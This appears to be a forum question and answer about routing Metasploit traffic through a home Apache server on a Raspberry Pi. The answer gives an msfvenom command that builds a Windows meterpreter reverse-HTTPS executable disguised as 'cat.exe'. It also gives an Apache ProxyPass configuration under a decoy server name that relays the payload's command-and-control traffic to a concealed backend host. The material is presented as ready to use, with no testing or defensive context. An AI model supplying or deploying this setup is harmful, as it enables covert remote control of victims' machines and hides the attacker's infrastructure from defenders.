I'd like to set up a static Apache webserver at home that forwards all incoming Metasploit connections to another IP. Is this possible? If so, how? I am looking to run the Apache server on a RasPi B+ if that helps.
First, create the payload:
msfvenom -p windows/meterpreter/reverse_https LHOST=<IP OR DOMAIN NAME> LPORT=<PORT or 443> LURI=/myawesomecnc -o /root/cat.exe
The most important part is the LURI which you need to set to a specific resource. All the traffic generated by the payload will be directed towards this URI.
Once this is complete, use the ProxyPass directive in either Apache or nginx to forward only the traffic of /myawesomecnc to the specific host you want. Here is an example of Apache:
<VirtualHost *:443> ServerName www.totallyharmless.com ... ProxyPass /myawesomecnc/ http://220.127.116.11/myawesomecnc/ ProxyPassReverse /myawesomecnc/ http://18.104.22.168/myawesomecnc/ ... </VirtualHost>